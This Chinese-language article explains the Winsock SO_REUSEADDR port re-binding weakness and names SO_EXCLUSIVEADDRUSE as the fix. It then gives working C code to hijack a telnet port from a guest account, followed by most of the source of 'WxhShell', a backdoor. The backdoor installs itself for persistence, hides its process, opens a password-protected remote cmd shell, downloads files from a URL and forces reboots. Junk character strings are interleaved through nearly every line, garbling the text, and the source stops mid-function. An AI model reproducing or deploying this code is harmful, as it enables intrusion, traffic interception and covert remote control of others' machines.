在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$Az^Y0[D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{ox2Tg? M*sR3SZ
saddr.sin_family = AF_INET;
mMSh2B \ \06T` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\P;rES' o! OMm! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
f$.?$ FS6<V0pil 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+uo{ m~_4 >G~mp<L 这意味着什么?意味着可以进行如下的攻击:
4[yIOs ?WUF!Jk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+-<}+8G; z0%\OhuCcf 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iYJZvN W=JAq%yd< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]5Qy s&a1y~rv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
U!(@q!>G )w h%| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
yF13Of^l./ JhHWu< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7y^%7U \ eS+g| $cW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6"/WZmOp (#D*Pl #include
g7\,{Bw#E #include
?S
Z1`.S #include
5%zXAQD=< #include
Pq9|WV#F5/ DWORD WINAPI ClientThread(LPVOID lpParam);
\f:z+F!6R int main()
7ZxaPkIu&% {
m<rhIq WORD wVersionRequested;
NGC,lv DWORD ret;
Wy .IcWK WSADATA wsaData;
&;i
"P BOOL val;
kDvc"
,SD# SOCKADDR_IN saddr;
;5_{MCPM SOCKADDR_IN scaddr;
*\}}Bv+9 int err;
mLh kI!4[ SOCKET s;
=( v^5 SOCKET sc;
uo\ .7[1
int caddsize;
>Dw~POMy HANDLE mt;
L<^j"!0 DWORD tid;
= ?D(g wVersionRequested = MAKEWORD( 2, 2 );
Fd]\txOXj err = WSAStartup( wVersionRequested, &wsaData );
B* kcNlW if ( err != 0 ) {
P{OAV+cG printf("error!WSAStartup failed!\n");
h4|i%,f return -1;
]z/Zq }
<BFQ: saddr.sin_family = AF_INET;
M`YWn ; >Fio;cn? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+mj*o( ]\-^>!F #K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^I8Esl8 saddr.sin_port = htons(23);
Fm\"{)V:b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
in+}/mwfC {
x8Loyt_C printf("error!socket failed!\n");
{S/yL[S. return -1;
KWAb-yB }
sUZX
} val = TRUE;
[^CV>RuO //SO_REUSEADDR选项就是可以实现端口重绑定的
[.se|]t7X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N`iwC! {
PZxAH9 S? printf("error!setsockopt failed!\n");
:Z`:nq.a return -1;
-fhN"B) }
L`f^y;Y. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5oEV-6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
o#) {1<0vg //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
x:-.+C% !+>v[(OzM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T|J9cgtS {
:NJ_n6E ret=GetLastError();
=_$Qtq+h printf("error!bind failed!\n");
,B?~-2cCz return -1;
1b=lpw1} }
oSiMpQu08 listen(s,2);
)?_#gLrE6 while(1)
E_Z{6&r {
C~fjWz' V caddsize = sizeof(scaddr);
O~j> ? //接受连接请求
ojYbR<jn9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'z76Sa if(sc!=INVALID_SOCKET)
sn7AR88M; {
|*Z$E$k: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Lg8nj< TF if(mt==NULL)
^`un'5Vk {
w=b)({`M printf("Thread Creat Failed!\n");
XE^)VLH: break;
_zlqtO }
zvABU+{jD }
BA\/YW @ CloseHandle(mt);
"$s~SIUB }
J>fQNW!{ closesocket(s);
mF` B# WSACleanup();
UOQEk22 return 0;
+)JpUqHa }
21k5I #U DWORD WINAPI ClientThread(LPVOID lpParam)
NM ]bgpP {
93t9^9 SOCKET ss = (SOCKET)lpParam;
_|h8q-[3 SOCKET sc;
/mo(_ unsigned char buf[4096];
LU!dN "[k SOCKADDR_IN saddr;
h -iJlm long num;
&-(463 DWORD val;
3u%{dG a DWORD ret;
3?Y 2L //如果是隐藏端口应用的话,可以在此处加一些判断
9x,RvWTb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>S$Z saddr.sin_family = AF_INET;
ss;R8:5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xsWur(> ] saddr.sin_port = htons(23);
\*=7#Vd if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'SQG>F Uy {
[O:
!(Gje printf("error!socket failed!\n");
SG6sw]x return -1;
j*~T1i }
L^Jk=8 val = 100;
VfT*7_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xf|mlHS+ {
N !TW! ret = GetLastError();
MZmb`%BZ return -1;
R|i/lEq }
Da"j E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<n3!{w3< {
V5}B:SUB ret = GetLastError();
s-dLZ.9F return -1;
2<M= L1\ }
Df3rV '/~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5`f@> r? {
&89oO@5 printf("error!socket connect failed!\n");
0uBl>A7qhn closesocket(sc);
2NB L}x closesocket(ss);
qJ0fQI\ return -1;
mKYeD%Pm* }
3sd"nR?aX while(1)
odIZo|dv {
\U@rg4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?-1r$31p //如果是嗅探内容的话,可以再此处进行内容分析和记录
m&|`x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
LM2TZ num = recv(ss,buf,4096,0);
IIq1\khh if(num>0)
;sHN/eF send(sc,buf,num,0);
&+G"k~% else if(num==0)
qKJSj
break;
Y!;|ld num = recv(sc,buf,4096,0);
}NsUnbxT if(num>0)
4H@Wc^K send(ss,buf,num,0);
#-h\. #s else if(num==0)
c'*a{CV4P break;
Rp$}YN }
EI\9_}@, closesocket(ss);
Qt|c1@J closesocket(sc);
`5H$IP1XhA return 0 ;
`"%T=w }
;E'"Ks[GH 4lZ$;:Jg 9{:O{nl ==========================================================
eI@
q|"U ,^S@EDq 下边附上一个代码,,WXhSHELL
*b];|n{ iOG[>u0h ==========================================================
dx;k`r$w +iI&c
s #include "stdafx.h"
D-,L&R!` hR.@b*q?R #include <stdio.h>
1T:Y 0 #include <string.h>
%Q!`NCe+[ #include <windows.h>
x\QY@9 #include <winsock2.h>
wY"Q o7 #include <winsvc.h>
|{,KRO0P #include <urlmon.h>
^FnfJ: x]z2Z* #pragma comment (lib, "Ws2_32.lib")
@BNEiOAZ# #pragma comment (lib, "urlmon.lib")
p019)X|vx r7Ya\0gU #define MAX_USER 100 // 最大客户端连接数
GtwT #define BUF_SOCK 200 // sock buffer
t!IaUW #define KEY_BUFF 255 // 输入 buffer
hHDOWHWE Y6&wJ< #define REBOOT 0 // 重启
+*_5tWAc #define SHUTDOWN 1 // 关机
`SVmQSwO[ v(pmIb{ #define DEF_PORT 5000 // 监听端口
!Kv@\4 A19;1#$= #define REG_LEN 16 // 注册表键长度
_!|/
;Nk #define SVC_LEN 80 // NT服务名长度
pJ
?~fp S/ibb& // 从dll定义API
Rar"B*b;$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+&["HoKg}& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b=/curl& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
H)(:8~c,p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.$#rV?7 ,k G>?4 // wxhshell配置信息
mg,j:, struct WSCFG {
n#iwb0- int ws_port; // 监听端口
1 `KN]Nt char ws_passstr[REG_LEN]; // 口令
D0BI5q int ws_autoins; // 安装标记, 1=yes 0=no
SRSvot};C char ws_regname[REG_LEN]; // 注册表键名
C{d7J'Avk char ws_svcname[REG_LEN]; // 服务名
sCu+Lg~f char ws_svcdisp[SVC_LEN]; // 服务显示名
aj}(E+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
1@lJonlF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|`jjHuQ; int ws_downexe; // 下载执行标记, 1=yes 0=no
Zy09L}5 9P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r/*=%~* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)$,"u4 *&
m#qEv };
t3+Py7qv -J^(eog[6 // default Wxhshell configuration
mLL340c#\ struct WSCFG wscfg={DEF_PORT,
M5x U9]B "xuhuanlingzhe",
>fIk;6<{ 1,
mJM_2Ab "Wxhshell",
?)\a_Tn "Wxhshell",
,()0'h}n "WxhShell Service",
y1/o^d+@ "Wrsky Windows CmdShell Service",
b?eu jxqg "Please Input Your Password: ",
_A0w[n 1,
r$wxk 4%Rz "
http://www.wrsky.com/wxhshell.exe",
~gu3g^<0v "Wxhshell.exe"
TB;o~>9U };
0VK-g}"x x\Y $+A,P // 消息定义模块
Zo{$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$t/x;<.H char *msg_ws_prompt="\n\r? for help\n\r#>";
#h@J=Ki char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
V"!G2& char *msg_ws_ext="\n\rExit.";
Y{*u&^0{ char *msg_ws_end="\n\rQuit.";
nF5qw>t# char *msg_ws_boot="\n\rReboot...";
K'h1szW char *msg_ws_poff="\n\rShutdown...";
-Qn=|2Mm? char *msg_ws_down="\n\rSave to ";
)P|[r n k2om$nN char *msg_ws_err="\n\rErr!";
q5L51KP2 char *msg_ws_ok="\n\rOK!";
5?Wto4j gI8Bx ] char ExeFile[MAX_PATH];
<?D\+khlq int nUser = 0;
@ps1Dr4s HANDLE handles[MAX_USER];
wK}\_2? int OsIsNt;
UswZG^Wh tBct SERVICE_STATUS serviceStatus;
t
R6
+G SERVICE_STATUS_HANDLE hServiceStatusHandle;
'u` .P:u? {%#)5l) // 函数声明
"4%"&2L int Install(void);
PoIl>c1MS int Uninstall(void);
1$*%" 5a int DownloadFile(char *sURL, SOCKET wsh);
$\k0Nup} int Boot(int flag);
WF\)fc#;_o void HideProc(void);
ZR\VCVH\^ int GetOsVer(void);
$fgf
Y8 int Wxhshell(SOCKET wsl);
#);[mW{F void TalkWithClient(void *cs);
&[hLzlrg int CmdShell(SOCKET sock);
4hw@yTUo int StartFromService(void);
A0%}v* int StartWxhshell(LPSTR lpCmdLine);
&)oOeRwi].
&ZTr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A 8 vbQ VOID WINAPI NTServiceHandler( DWORD fdwControl );
_`#3f1F@[ 1xc~`~ // 数据结构和表定义
cv/_r#vN SERVICE_TABLE_ENTRY DispatchTable[] =
b}Zd)2G {
".dZn6"mI {wscfg.ws_svcname, NTServiceMain},
_{|D {NULL, NULL}
xW[ -n };
fQP {|+4 q{ /3V // 自我安装
[p=*u,- int Install(void)
I7&_Xr {
#Mg]GeDJ{ char svExeFile[MAX_PATH];
Tz9`uW~Mf HKEY key;
\(">K strcpy(svExeFile,ExeFile);
{Ha8]y >><.3 // 如果是win9x系统,修改注册表设为自启动
]QuM<ms if(!OsIsNt) {
=~I-]4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!d&C>7nb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.SWt3|Pi5 RegCloseKey(key);
2y%,p{=" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fBQ?|~:n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1jX3ey~ RegCloseKey(key);
6;
Y0a4Ax return 0;
S\CRG> }
KLX/O1B }
'Z`$n8 }
~8m=1)A{( else {
<94_@3 (5Sivw*mP // 如果是NT以上系统,安装为系统服务
\cLSf= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6DZ),F,M if (schSCManager!=0)
Iyo@r%I {
kPjd_8z2n SC_HANDLE schService = CreateService
``A 0WN (
r_YIpnJ schSCManager,
7#<c>~
wscfg.ws_svcname,
w{dIFvQ"$ wscfg.ws_svcdisp,
+w8R!jdA SERVICE_ALL_ACCESS,
rDdzxrKg{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)NR Q2 SERVICE_AUTO_START,
.`CZUKG SERVICE_ERROR_NORMAL,
R<x'l=,D( svExeFile,
4:9KR[y/ NULL,
A6oq.I0 NULL,
G
Xt4j NULL,
0R0{t=VJZ NULL,
LB/C-n.` NULL
}Yv\0\~'W| );
{m`A!qcD| if (schService!=0)
0 'Vg6E]/ {
s`Cy
a` CloseServiceHandle(schService);
ESoAzo,u CloseServiceHandle(schSCManager);
{iG@U=> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
gDIBnH strcat(svExeFile,wscfg.ws_svcname);
J1XL<7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Db"DG( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;#MB7A
RegCloseKey(key);
hAj1{pA, return 0;
@t1V
o}c }
B-d(@7,1 }
*6BThvg|&X CloseServiceHandle(schSCManager);
R4Rb73o }
k-*Mzm]kb }
yFhB>i IcIOC8WC return 1;
2 3KyCV5 }
5(
_6+'0 umLb+GbI4 // 自我卸载
,i.%nZw\ int Uninstall(void)
xug)aE {
~m*,mz HKEY key;
d1joVUYE tvd0R$5} if(!OsIsNt) {
:D7|%KK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oRp:B& RegDeleteValue(key,wscfg.ws_regname);
!jqWwi RegCloseKey(key);
D7"p}PD>~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[i]r-|_K RegDeleteValue(key,wscfg.ws_regname);
k'_ P7 RegCloseKey(key);
$OVXk'cc return 0;
xLZd!>C }
q8ImrC.'^ }
AnZclqtb }
B}d.#G+_$x else {
bAr` E D5?phyC[Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[@fz1{* if (schSCManager!=0)
Lhh;2r/?78 {
Y\2|x*KwvF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Q)af|GW$ if (schService!=0)
{0!#>["< {
OlD`uA if(DeleteService(schService)!=0) {
s=Q(C[%I CloseServiceHandle(schService);
U/;]zdP.K CloseServiceHandle(schSCManager);
m=qOg>k return 0;
`Pc3?~>0HH }
R.s|j= CloseServiceHandle(schService);
2i|B=D( }
~2u\ CloseServiceHandle(schSCManager);
%f8Qa"j }
`:M^8SYrL }
A>.2OC+ ji+{ :D return 1;
VhEM k\ }
,)~E>[=+ [&Hkn5yq // 从指定url下载文件
f c6g int DownloadFile(char *sURL, SOCKET wsh)
g<\z= H {
_x1EZ&dh HRESULT hr;
q 6`G I6 char seps[]= "/";
8O1K[sEjui char *token;
H^1gy=kdj char *file;
R|!B,b( char myURL[MAX_PATH];
xn}BB}s{t char myFILE[MAX_PATH];
*@ED}Mj+ GbU@BN+_ strcpy(myURL,sURL);
w?csV8ot token=strtok(myURL,seps);
!p
8psi0 while(token!=NULL)
;LJ3c7$@lf {
5,b]V)4 file=token;
#G3N(wV3 token=strtok(NULL,seps);
6Gn4asoA }
> 7`&0? Gt/4F-Gn GetCurrentDirectory(MAX_PATH,myFILE);
#k5#j4!b strcat(myFILE, "\\");
}fhHXGK. strcat(myFILE, file);
0'$p$K send(wsh,myFILE,strlen(myFILE),0);
@LLTB(@wR send(wsh,"...",3,0);
\)m"3yY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GIHpSy`z if(hr==S_OK)
'PdmI<eXQ return 0;
'~-IV0v9 else
+yt6(7V* return 1;
;_<)JqUh JhR W[~ }
rVAL|0;3 nv5u%B^ // 系统电源模块
r{+aeLu int Boot(int flag)
)WR_
ug {
8
|h9sn;P HANDLE hToken;
oUW<4l TOKEN_PRIVILEGES tkp;
u}H$-$jE 2pyt&'NJua if(OsIsNt) {
dYOF2si~% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gp|1?L54 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
i+M*J#' tkp.PrivilegeCount = 1;
-.vDF?@G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4f1D*id*`# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qJ[@:&: if(flag==REBOOT) {
9EF~l9`'U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L~FTr return 0;
ACBQ3 }
BH : else {
r>qA $zD^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_LfHs1g4 return 0;
J me% }
CdhSp$> }
JE%A|R<Jl else {
?p8k{N(1 if(flag==REBOOT) {
r!/0 j) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
nx4P^PC return 0;
P0\eBS }
{^RG%
&S else {
w4MwD?i]R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@eQld\h' return 0;
ekzjF\!y }
Go+[uY^ }
}_4 6y*o8 I
8Y*@$h return 1;
&y:CW>T$/X }
<Dw]yGK@ 6`puTL? // win9x进程隐藏模块
+ Oobb-v void HideProc(void)
.L;",E {
_C+DB A `B#Z;R HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-2NwF4VL if ( hKernel != NULL )
h$h]%y {
Ge}$rLu]0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Sr
y,@p) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Q(\ wx FreeLibrary(hKernel);
$@87?Ab }
UxPGv;F -ID!pT vW return;
B3L4F" }
}]h\/, *PB/iVH%6 // 获取操作系统版本
m<fA|9 F# int GetOsVer(void)
Kd{#r/HZ {
ujx-jIhT_ OSVERSIONINFO winfo;
J@bW^>g*6u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>C2HC6O3 GetVersionEx(&winfo);
)W9_qmYd" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zHxmA return 1;
M]ap: else
QAaF@Do return 0;
A
+!sD5d }
Y.
TYc; 6D*chvNA; // 客户端句柄模块
R@ QQNYU.D int Wxhshell(SOCKET wsl)
$HRed|*.C {
rUFFF'm\*a SOCKET wsh;
.;%q/hP struct sockaddr_in client;
g5TkD~w" DWORD myID;
;tN4HiN T:#S86m while(nUser<MAX_USER)
X<K9L7/* {
0 0,9azs int nSize=sizeof(client);
5&|5 a} 8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pDhY%w# if(wsh==INVALID_SOCKET) return 1;
lu3.KOD/ V* Qe5j9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$F1_^A[ if(handles[nUser]==0)
3B"7VBK{ closesocket(wsh);
ruHrv"29 else
.WO/=#O nUser++;
qhwoV4@f }
7%op zdS# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#[,= 1Od(q V(I7*_ZFl return 0;
@$ftG }
G:hU{S7 a],h<wGEx // 关闭 socket
d"!yD/RD void CloseIt(SOCKET wsh)
_jDS" {
tWRf'n[+] closesocket(wsh);
%ph"PR/t? nUser--;
7%tR&F -u ExitThread(0);
Q%M_ }
Dpj-{q7C :R3P 58> // 客户端请求句柄
#ZF>WoC@e? void TalkWithClient(void *cs)
n\*JaY {
- XLo0 o]p#%B?mZ SOCKET wsh=(SOCKET)cs;
w#<^RKk char pwd[SVC_LEN];
l<n5gfJ char cmd[KEY_BUFF];
1 Xa+%n9 char chr[1];
wVQdUtmk int i,j;
CnQg *+ x i.IRAZX while (nUser < MAX_USER) {
a G@nErdW W7W3DBKtSm if(wscfg.ws_passstr) {
5R"2Wd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+0U#.|? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z[Z2H5[ //ZeroMemory(pwd,KEY_BUFF);
#hZQ>zcF i=0;
4D GY6PS while(i<SVC_LEN) {
Y@ObwKcG qdO[d|d // 设置超时
m1i4 , fd_set FdRead;
n/?eZx1 struct timeval TimeOut;
-3\7vpcdN FD_ZERO(&FdRead);
u'=(&>< FD_SET(wsh,&FdRead);
TIETj~+ TimeOut.tv_sec=8;
0 S2v"(_T TimeOut.tv_usec=0;
pIvfmIm int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3)xb nRk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8T<@ @6`T >6k}HrS1V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jwq\stjD pwd
=chr[0]; S$\.4*_H\
if(chr[0]==0xd || chr[0]==0xa) { ;raz6DRO
pwd=0; OZa88&
break; ]ZDTn
} Nr%(2[$ =
i++; 0 K/G&c?;=
} P6:;Y5e0
xl3zy~;M
// 如果是非法用户,关闭 socket D {Oq\*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V0s,f.a
} 8s~\iuk
Q%I#{+OT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .<HC[ls
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 487YaioB$
g;l'VA3v
while(1) { "bPCOJ[v9
XzW7eO,A
ZeroMemory(cmd,KEY_BUFF); YWSz84d
=?HzNA$yh
// 自动支持客户端 telnet标准 &;Ed*OJ
j=0; J"5jy$30'$
while(j<KEY_BUFF) { =w?M_[&K)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^l--zzO8l
cmd[j]=chr[0]; xv^Sh}\}
if(chr[0]==0xa || chr[0]==0xd) { W"dU1]
cmd[j]=0; pXve02b1B
break; (1rJFl!
} TF%3uH
j++; uC- A43utv
} wL Y#dm
%
Oz$_Xe
// 下载文件 ^Wif!u/HM
if(strstr(cmd,"http://")) { ;*W=c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); I88Zrhw
if(DownloadFile(cmd,wsh)) \QliHm!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<f2\q8Uo=
else Q,D0kS P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <{E;s)hD?
} J6eJIKK
else { w2 /* `YO
g})6V
switch(cmd[0]) { '!Hhd![\=|
O%fUm0O d
// 帮助 qZXyi'(d
case '?': { zIP[R):3&U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {,i=>%X*
break; `b#/[3
} sS-W~u|C
// 安装 /%62X{=>;
case 'i': { a#^_"GX
if(Install()) *e%Dg{_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M8\G>0Hc6
else I<c@uXXV;!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kmmL>fCV"M
break; L^3~gM"!
} 3b+7^0frY#
// 卸载 PP!l
case 'r': { ,wEM
Jh
if(Uninstall()) ZyHIMo|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.7$`d
else ,c@r`
x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cT_uJbP+
break; TP~(
r
} Hr
/W6C
// 显示 wxhshell 所在路径 1a5?)D
case 'p': { U&,r4>V@h>
char svExeFile[MAX_PATH]; 6
M*b 6
strcpy(svExeFile,"\n\r"); r4 9UJE
strcat(svExeFile,ExeFile); ?68$3;
send(wsh,svExeFile,strlen(svExeFile),0); wDB)&b
break; |~ z8<
} +xn&K"]:3
// 重启 chKF6n
case 'b': { uFGv%W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W"W@WG9X0
if(Boot(REBOOT)) g4zT(,ZY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {`+bW"9
else { ;>inT7?3|
closesocket(wsh); #D/$6ah~m
ExitThread(0); 's =Q.s
} `kqT{fs
break; v;K{|zUdB
} RcY6V_Qx
// 关机 se~ *<5
case 'd': { :|?~B%-p[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5OPS&:
if(Boot(SHUTDOWN)) qRgK_/[]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_O 5k|-V
else { *d^9,GGn-
closesocket(wsh); WA<H
ExitThread(0); mw:3q6
} D9}d]9]$
break; E^oEG4X@
} )EhTM-1
// 获取shell /Lq;w'|I
case 's': { J% :WLQo
CmdShell(wsh); bk/.<Rt
closesocket(wsh); +<'uw
ExitThread(0); NFdJb\
break; &z ./4X
} z2rQ$O-#
// 退出 "
7l jc
case 'x': { 1i5 vW- '4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D
/,|pC
CloseIt(wsh); 5Z^$`$/.v#
break; 6&g!ZE'G
} 38"8,k
// 离开 #B}BI8o (
case 'q': { e7Yb=/F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M\:"~XW
closesocket(wsh); ?whRlh
WSACleanup(); VFe-#"0ZO
exit(1); d[~au=b
break; ^JYF1
} #nU@hOfg
} gg lNpzj
} ~J8cS
j zxf"X-
// 提示信息 OU0xZ=G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I>N-95
} NTv#{7q
} wo,""=l
MuCQxzvkhf
return; e1f^:C
} uKLOh<oio
V/QTYy1
// shell模块句柄 :d!i[W*
int CmdShell(SOCKET sock) tEi@p;Z>
{ sW>P-
STARTUPINFO si; ?TL2'U|M
ZeroMemory(&si,sizeof(si)); D6C-x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pur"9jHa4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hl%+F0^?
PROCESS_INFORMATION ProcessInfo; -L^0-g
char cmdline[]="cmd"; y>)mSl@1y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w3>Y7vxiz`
return 0; ,gFL Wb`B'
} HB/
_O22
o=a:L^nt,
// 自身启动模式 7?kXgR[#d
int StartFromService(void) #C;#$|d
{ 2:smt)f
typedef struct 9m<X-B&P
{
B`RW-14g
DWORD ExitStatus; ~Mg8C9B?%3
DWORD PebBaseAddress; EvGU j$
DWORD AffinityMask; z1}tC\9'%
DWORD BasePriority; SdEb[
